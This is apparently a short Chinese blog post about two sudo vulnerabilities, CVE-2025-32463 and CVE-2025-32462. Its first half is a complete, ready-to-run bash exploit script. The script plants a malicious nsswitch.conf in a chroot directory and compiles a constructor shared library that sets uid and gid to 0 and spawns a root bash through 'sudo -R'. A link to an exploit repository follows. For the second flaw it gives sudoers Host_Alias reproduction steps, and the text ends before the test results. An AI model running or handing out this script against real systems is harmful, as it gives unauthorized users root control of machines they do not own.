少见的sudo漏洞,一爆就爆俩
CVE-2025-32463
脚本如下
#!/bin/bash
echo "[+] CVE-2025-32463 Sudo chroot 漏洞复现脚本"
echo "[*] 正在创建临时工作目录..."
STAGE=$(mktemp -d /tmp/sudo_exploit.XXXXXX)
if [ ! -d "$STAGE" ]; then
echo "[-] 错误: 无法创建临时目录。"
exit 1
fi
cd "${STAGE}" || exit 1
echo "[*] 工作目录已创建: ${STAGE}"
echo "[*] 正在创建 C 语言 payload (woot1337.c)..."
cat > woot1337.c << EOF
#include <unistd.h>
#include <stdlib.h>
// __attribute__((constructor)) 确保 woot() 函数在库加载时自动执行
__attribute__((constructor))
void woot(void) {
// 将真实用户ID和有效用户ID都设置为0 (root)
setreuid(0, 0);
// 将真实组ID和有效组ID都设置为0 (root)
setregid(0, 0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF
# 创建 chroot 环境和nsswitch.conf
echo "[*] 正在设置 chroot 环境和恶意的 nsswitch.conf..."
mkdir -p woot/etc
# 核心
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
echo "[*] 正在将 payload 编译为共享库 (libnss_/woot1337.so.2)..."
mkdir -p libnss_
gcc -shared -fPIC -o libnss_/woot1337.so.2 woot1337.c
if [ ! -f "libnss_/woot1337.so.2" ]; then
echo "[-] 错误: 编译失败。请确保已安装 gcc。"
rm -rf "${STAGE}"
exit 1
fi
echo "[*] 编译成功!"
echo "[+] root shell!!!!!"
echo "woot!"
sudo -R woot woot
echo "[*] 正在清理临时文件..."
rm -rf "${STAGE}"
这个漏洞 简单来说就是sudo的chroot功能在没有验证的情况下以root的权限启动了一个chroot服务,然后去搜索了nsswitch.conf文件,而他又通过其中的恶意规则启动了一个恶意共享库,共享库通过root权限执行了一个bashshell,boom!
https://github.com/neko205-mx/CVE-2025-32463_Exploit
CVE-2025-32462
这个问题出现于sudoers 的主机配置选项中,如果多台服务器采用一个sudoers文件会导致主机设置形同虚设
复现步骤
- 本地添加hostname,模拟环境
127.0.0.1 prod.test.local
127.0.0.1 dev.test.local
127.0.0.1 ci.test.local
- 修改sudoers文件
Host_Alias PROD = prod.test.local
Host_Alias DEVS = dev.test.local
neko DEVS, !PROD = ALL
neko ci.test.local = ALL
修改hostname,新开一个终端,测试如下
